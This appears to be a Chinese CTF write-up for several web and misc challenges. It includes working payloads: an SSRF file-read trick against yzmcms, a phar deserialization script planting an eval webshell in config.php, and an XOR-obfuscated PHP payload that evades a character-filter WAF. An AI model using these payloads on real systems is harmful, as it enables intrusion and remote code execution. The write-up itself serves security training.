Web#

ezcms#

www.zip 源码,common/config/config.php找到db用户名和密码admin和admin868。
后台/admin密码与db相同。
利用 https://github.com/yzmcms/yzmcms/issues/53 描述的采集管理功能 ssrf 包含本地文件。读取 /flag 得到 flag。
在自己服务器上起一个HTTP服务提供payload:

1
<ss123><a href="httpxxx://../../../../../../flag">test</a></ss123>

在采集管理中添加节点,网址配置为该payload,添加后测试配置得到flag。

hello_php#

www.zip 源码。
admin.php和class.php中upload_logo提供上传jpg功能,class.php中Config类中__destruct方法替换config.php文件中的$title=,index.php中调用file_exists方法。
可上传phar文件,在index.php中传递img参数触发反序列化,设置Config类中title为'.eval(\$_POST['dubhe']).',在config.php插入eval,RCE。
phar.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Config{
public $title = "'.eval(\$_POST['dubhe']).'";
public $comment;
public $logo_url;

}
$config=new Config;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($config);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

用 file_get_contents 读取/flag文件。

大家一起来审代码#

www.zip 源码。
后台/adm1n弱密码admin, admin。
adm1n/admin_weixin.php根据POST参数创建data/admin/weixin.php文件,有WAFpreg_replace("/a|e|i|o|u|s|t/i","",$$arg)
用字符串异或绕过WAF,向weixin.php写入任意代码,实现RCE。
payload(设置isopen):

1
");$c=("\x99\x96\x93\x64\x5f\x98\x64\x8b\x5f\x9c\x90\x91\x8b\x64\x91\x8b\x8c"^"\xff\xff\xff\x01\x00\xff\x01\xff\x00\xff\xff\xff\xff\x01\xff\xff\xff");?><?=$c("\xd0\x99\x93\x60\x98"^"\xff\xff\xff\x01\xff")?> <?php//

作用为执行file_get_contents(‘/flag’)得到flag

Misc#

马赛克#

Depix还原

1
python3 depix.py -p mosaic.png -s images/searchimages/debruinseq_notepad_Windows10_close.png -o output.png

看图得到flag:flag{0123468abd68abd0123}

babymaze1#

dfs走迷宫
solver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

p = remote('182.92.203.154', 11001)
p.recvuntil('Please press any key to start.')
p.sendline('')

d = [(-1, 0), (0, -1), (1, 0), (0, 1)]
c = ['w', 'a', 's', 'd']

while True:
maze = p.recvuntil('\n> ', drop=True).split('\n')
# print(maze)
maze = list(map(lambda x: list(x), maze))

row = len(maze)
col = len(maze[0])
vis = [[False for j in range(col)] for i in range(row)]

def dfs(x, y, path):
if maze[x][y] == '$':
return path
global p
for i in range(4):
xi = x + d[i][0]
yi = y + d[i][1]
if not vis[xi][yi] and xi >= 0 and xi < row and yi >= 0 and yi < col and maze[xi][yi] != '#':
vis[xi][yi] = True
res = dfs(xi, yi, path + c[i])
if res:
return res
vis[xi][yi] = False
return False

vis[1][1] = True
path = dfs(1, 1, '')
p.sendline(path)
p.recvuntil('your win\n')
if row >= 51:
p.interactive()